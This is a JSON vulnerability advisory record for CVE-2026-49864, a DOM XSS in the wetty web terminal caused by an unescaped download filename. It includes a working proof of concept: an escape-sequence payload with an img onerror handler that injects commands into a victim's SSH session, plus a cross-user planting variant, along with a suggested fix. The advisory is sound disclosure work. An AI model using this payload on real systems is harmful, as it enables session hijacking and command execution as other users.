{"id":"CVE-2026-49864","aliases":["GHSA-p26j-h7wj-r568"],"url":"https://o3.security/vulnerability/CVE-2026-49864","summary":"wetty vulnerable to DOM XSS via file-download filename","details":"### Summary\n\nThe wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.\n\n### Preconditions\n\n- Victim has wetty open with an active SSH session.\n- Attacker delivers the file-download escape sequence (`\\x1b[5i<b64-name>:<b64-content>\\x1b[4i`) into output the victim's terminal renders.\n- Default configuration; no non-default flags required.\n\n### Details\n\n```typescript\n// src/client/wetty.ts:37, 46-62\nconst fileDownloader = new FileDownloader();\n// ...\nsocket.on('data', (data: string) => {\n  const remainingData = fileDownloader.buffer(data);\n  // every PTY byte forwarded by the server passes through buffer()\n  // ...\n})\n```\n\nEvery byte the server forwards from the PTY passes through `FileDownloader.buffer`. The buffer scans for the documented file-download markers `\\x1b[5i` (begin) and `\\x1b[4i` (end) - documented in `docs/downloading-files.md` - and, on a complete match, hands the inner payload to `onCompleteFile`.\n\n```typescript\n// src/client/wetty/download.ts:9-77\nfunction onCompleteFile(bufferCharacters: string): void {\n  let fileNameBase64;\n  let fileCharacters = bufferCharacters;\n  if (bufferCharacters.includes(':')) {\n    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');\n  }\n  // ...\n  void detectAndDownload(bytes, fileCharacters, fileNameBase64);\n}\n\nasync function detectAndDownload(/* ... */): Promise<void> {\n  // ...\n  let fileName;\n  try {\n    if (fileNameBase64 !== undefined) {\n      fileName = window.atob(fileNameBase64);            // attacker-controlled\n    }\n  } catch { /* ... */ }\n  fileName ??= `file-${ /* timestamp default */ }`;\n  // ...\n  Toastify({\n    text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" `\n        + `download=\"${fileName}\">${fileName}</a>`,     // sink\n    duration: 10000,\n    // ...\n    escapeMarkup: false,\n  }).showToast();\n}\n```\n\n`fileName` is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (`escapeMarkup: false`). No HTML escaping runs between `atob` and the toast markup. The wetty client exposes the live terminal as `window.wetty_term`, and `term.input(data, true)` (`src/client/wetty/term.ts:80, 93-97, 132, 145-198`) fires xterm.js's `onData`, which `src/client/wetty.ts:40-42` forwards as a socket `input` event - i.e., script in the wetty origin types into the victim's SSH session.\n\n### Proof of concept\n\n**Setup**\n\n1. Bring up wetty and its bundled SSH host from a fresh clone:\n\n   ```bash\n   git clone https://github.com/butlerx/wetty\n   cd wetty\n   docker compose up -d\n   sleep 5\n   ```\n\n2. Open `http://localhost/wetty` in a browser. The login terminal prompts for a username (enter `term`) then proxies to `wetty-ssh`, which prompts for the SSH password (also `term`, set in `containers/ssh/Dockerfile`). The browser tab now holds a shell on the SSH container.\n\n**Exploit**\n\n1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:\n\n   ```bash\n   PAYLOAD='\"><img src=x onerror=\"window.wetty_term.input(\\\"id > /tmp/pwned\\\\n\\\",true)\">'\n   FNAME_B64=$(printf '%s' \"$PAYLOAD\" | base64 -w0)\n   DATA_B64=$(printf 'bait' | base64 -w0)\n   printf '\\x1b[5i%s:%s\\x1b[4i' \"$FNAME_B64\" \"$DATA_B64\"\n   ```\n\n   Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied `<img>` element with the `onerror` handler.\n\n2. The `onerror` handler calls `window.wetty_term.input(\"id > /tmp/pwned\\n\", true)`, which xterm.js dispatches as a `data` event; `src/client/wetty.ts:40-42` forwards it as a socket `input` event; the server writes it to the PTY. The SSH host runs `id > /tmp/pwned` as the connected user:\n\n   ```bash\n   cat /tmp/pwned\n   ```\n\n   Expected: `uid=1000(term) gid=1000(term) groups=1000(term)`.\n\n3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:\n\n   ```bash\n   # As the low-priv user on the SSH host\n   printf '\\x1b[5i%s:%s\\x1b[4i' \"$FNAME_B64\" \"$DATA_B64\" > /tmp/notes.txt\n   ```\n\n   When the higher-privileged user's wetty session runs `cat /tmp/notes.txt`, attacker-controlled JavaScript types commands into that user's shell.\n\n### Impact\n\n- **Confidentiality:** Reads the rendered terminal contents via `window.wetty_term.buffer.active`.\n- **Integrity:** Types attacker-chosen commands into the victim's SSH session via `window.wetty_term.input()`.\n- **Auth:** A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nHTML-escape the decoded filename before interpolating it into Toastify's HTML markup at `src/client/wetty/download.ts:67-77`.\n\n```diff\n   fileName ??= `file-${new Date()\n     .toISOString()\n     .split('.')[0]\n     .replace(/-/g, '')\n     .replace('T', '')\n     .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;\n+  const safeName = fileName.replace(/[&<>\"']/g, (c) =>\n+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '\"': '&quot;', \"'\": '&#39;' })[c] ?? c,\n+  );\n\n   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });\n   const blobUrl = URL.createObjectURL(blob);\n\n   Toastify({\n-    text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" download=\"${fileName}\">${fileName}</a>`,\n+    text: `Download ready: <a href=\"${blobUrl}\" target=\"_blank\" download=\"${safeName}\">${safeName}</a>`,\n     duration: 10000,\n```","published":"2026-08-13T19:10:41.037Z","modified":"2026-09-11T03:31:01.966576863Z","cvss":null,"epss":{"score":0.00402,"percentile":0.33755,"asOf":"2026-09-13"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"wetty","fixedVersion":"3.0.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49864.json"},{"type":"ADVISORY","url":"https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49864"},{"type":"PACKAGE","url":"https://github.com/butlerx/wetty"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-11T03:31:01.966576863Z"}}